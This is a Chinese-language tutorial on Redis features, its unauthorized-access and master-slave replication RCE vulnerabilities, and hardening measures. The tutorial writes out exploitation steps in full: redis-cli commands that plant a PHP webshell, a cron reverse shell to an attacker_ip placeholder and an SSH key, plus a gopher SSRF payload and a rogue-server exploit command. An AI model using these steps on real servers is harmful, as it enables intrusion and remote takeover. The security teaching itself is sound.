深度剖析Redis的高性能功能与安全漏洞及防护
字数 1296 2025-08-30 06:50:35

Redis高性能功能与安全漏洞深度剖析及防护指南

1. Redis简介与背景

Redis(Remote Dictionary Server)是一个开源的、基于内存的键值存储系统,属于NoSQL数据库的一种。它支持多种数据结构,包括字符串(String)、哈希(Hash)、列表(List)、集合(Set)、有序集合(Sorted Set)等,并提供了丰富的操作命令。

Redis核心特性

  • 内存存储:数据主要存储在内存中,提供极高的读写性能
  • 持久化支持:支持RDB快照和AOF日志两种持久化方式
  • 主从复制:支持数据的主从复制,提高可用性和读取性能
  • 事务支持:通过MULTI/EXEC命令支持简单事务
  • 发布订阅:支持消息的发布订阅模式
  • Lua脚本:支持使用Lua脚本执行复杂操作

2. Redis基础命令

常用命令

  • SET key value:设置键值对
  • GET key:获取键对应的值
  • DEL key:删除键
  • KEYS pattern:查找匹配模式的键
  • FLUSHALL:清空所有数据库
  • CONFIG SET parameter value:动态修改Redis配置
  • INFO:获取服务器信息和统计

3. Redis未授权访问漏洞

漏洞利用条件

  1. Redis服务绑定在0.0.0.0(默认6379端口)
  2. 未设置密码认证或使用弱密码
  3. 未正确配置防火墙规则

漏洞利用方式

环境搭建

# 下载并启动Redis
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
src/redis-server

漏洞复现

1. 利用Redis写入WebShell
redis-cli -h target_ip
> config set dir /var/www/html
> config set dbfilename shell.php
> set x "<?php phpinfo();?>"
> save
2. 利用Redis写入计划任务
redis-cli -h target_ip
> config set dir /var/spool/cron/
> config set dbfilename root
> set x "\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n"
> save
3. 利用Redis获得SSH公钥认证
# 本地生成SSH密钥对
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

# 将公钥写入目标Redis
cat foo.txt | redis-cli -h target_ip -x set crackit
redis-cli -h target_ip
> config set dir /root/.ssh/
> config set dbfilename "authorized_keys"
> save

4. Redis主从复制RCE漏洞

主从复制原理

Redis支持主从复制模式,从节点可以同步主节点的数据。攻击者可以伪造一个恶意的Redis主节点,诱导目标Redis服务器成为其从节点,从而执行任意命令。

漏洞利用

背景

  • Redis 4.x-5.x版本存在此漏洞
  • 需要Redis未授权访问或弱密码

利用原理

  1. 攻击者搭建恶意Redis服务器
  2. 诱导目标Redis服务器成为从节点
  3. 通过主从复制机制将恶意模块加载到目标服务器
  4. 执行任意命令

攻击利用

1. SSRF打Redis

当存在SSRF漏洞时,可以利用gopher协议攻击内网Redis服务:

gopher://target_ip:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1%0a%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
2. 使用脚本exp进行攻击

使用工具如redis-rogue-serverredis-rce

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
python3 redis-rogue-server.py --rhost target_ip --rport 6379 --lhost attacker_ip --lport 21000

5. Redis安全防护措施

1. 认证配置

  • 修改redis.conf文件,设置强密码:
requirepass YourStrongPassword123!
  • 限制config命令:
rename-command CONFIG ""

2. 网络隔离

  • 绑定本地IP:
bind 127.0.0.1
  • 修改默认端口:
port 6380
  • 配置防火墙规则

3. 权限控制

  • 以非root用户运行Redis
  • 限制Redis数据目录权限
chown -R redis:redis /var/lib/redis
chmod 700 /var/lib/redis

4. 其他安全配置

  • 禁用危险命令:
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
  • 启用保护模式:
protected-mode yes
  • 限制内存使用:
maxmemory 1gb
maxmemory-policy volatile-lru

5. 监控与日志

  • 启用日志记录:
loglevel notice
logfile /var/log/redis/redis-server.log
  • 定期检查Redis日志和异常连接

6. 总结

Redis作为高性能的内存数据库,在提供卓越性能的同时也存在多种安全风险。管理员应当充分了解这些漏洞的利用方式,并采取相应的防护措施。通过合理的配置和监控,可以在享受Redis高性能优势的同时,有效降低安全风险。

Redis高性能功能与安全漏洞深度剖析及防护指南 1. Redis简介与背景 Redis(Remote Dictionary Server)是一个开源的、基于内存的键值存储系统,属于NoSQL数据库的一种。它支持多种数据结构,包括字符串(String)、哈希(Hash)、列表(List)、集合(Set)、有序集合(Sorted Set)等,并提供了丰富的操作命令。 Redis核心特性 内存存储 :数据主要存储在内存中,提供极高的读写性能 持久化支持 :支持RDB快照和AOF日志两种持久化方式 主从复制 :支持数据的主从复制,提高可用性和读取性能 事务支持 :通过MULTI/EXEC命令支持简单事务 发布订阅 :支持消息的发布订阅模式 Lua脚本 :支持使用Lua脚本执行复杂操作 2. Redis基础命令 常用命令 SET key value :设置键值对 GET key :获取键对应的值 DEL key :删除键 KEYS pattern :查找匹配模式的键 FLUSHALL :清空所有数据库 CONFIG SET parameter value :动态修改Redis配置 INFO :获取服务器信息和统计 3. Redis未授权访问漏洞 漏洞利用条件 Redis服务绑定在0.0.0.0(默认6379端口) 未设置密码认证或使用弱密码 未正确配置防火墙规则 漏洞利用方式 环境搭建 漏洞复现 1. 利用Redis写入WebShell 2. 利用Redis写入计划任务 3. 利用Redis获得SSH公钥认证 4. Redis主从复制RCE漏洞 主从复制原理 Redis支持主从复制模式,从节点可以同步主节点的数据。攻击者可以伪造一个恶意的Redis主节点,诱导目标Redis服务器成为其从节点,从而执行任意命令。 漏洞利用 背景 Redis 4.x-5.x版本存在此漏洞 需要Redis未授权访问或弱密码 利用原理 攻击者搭建恶意Redis服务器 诱导目标Redis服务器成为从节点 通过主从复制机制将恶意模块加载到目标服务器 执行任意命令 攻击利用 1. SSRF打Redis 当存在SSRF漏洞时,可以利用gopher协议攻击内网Redis服务: 2. 使用脚本exp进行攻击 使用工具如 redis-rogue-server 或 redis-rce : 5. Redis安全防护措施 1. 认证配置 修改redis.conf文件,设置强密码: 限制config命令: 2. 网络隔离 绑定本地IP: 修改默认端口: 配置防火墙规则 3. 权限控制 以非root用户运行Redis 限制Redis数据目录权限 4. 其他安全配置 禁用危险命令: 启用保护模式: 限制内存使用: 5. 监控与日志 启用日志记录: 定期检查Redis日志和异常连接 6. 总结 Redis作为高性能的内存数据库,在提供卓越性能的同时也存在多种安全风险。管理员应当充分了解这些漏洞的利用方式,并采取相应的防护措施。通过合理的配置和监控,可以在享受Redis高性能优势的同时,有效降低安全风险。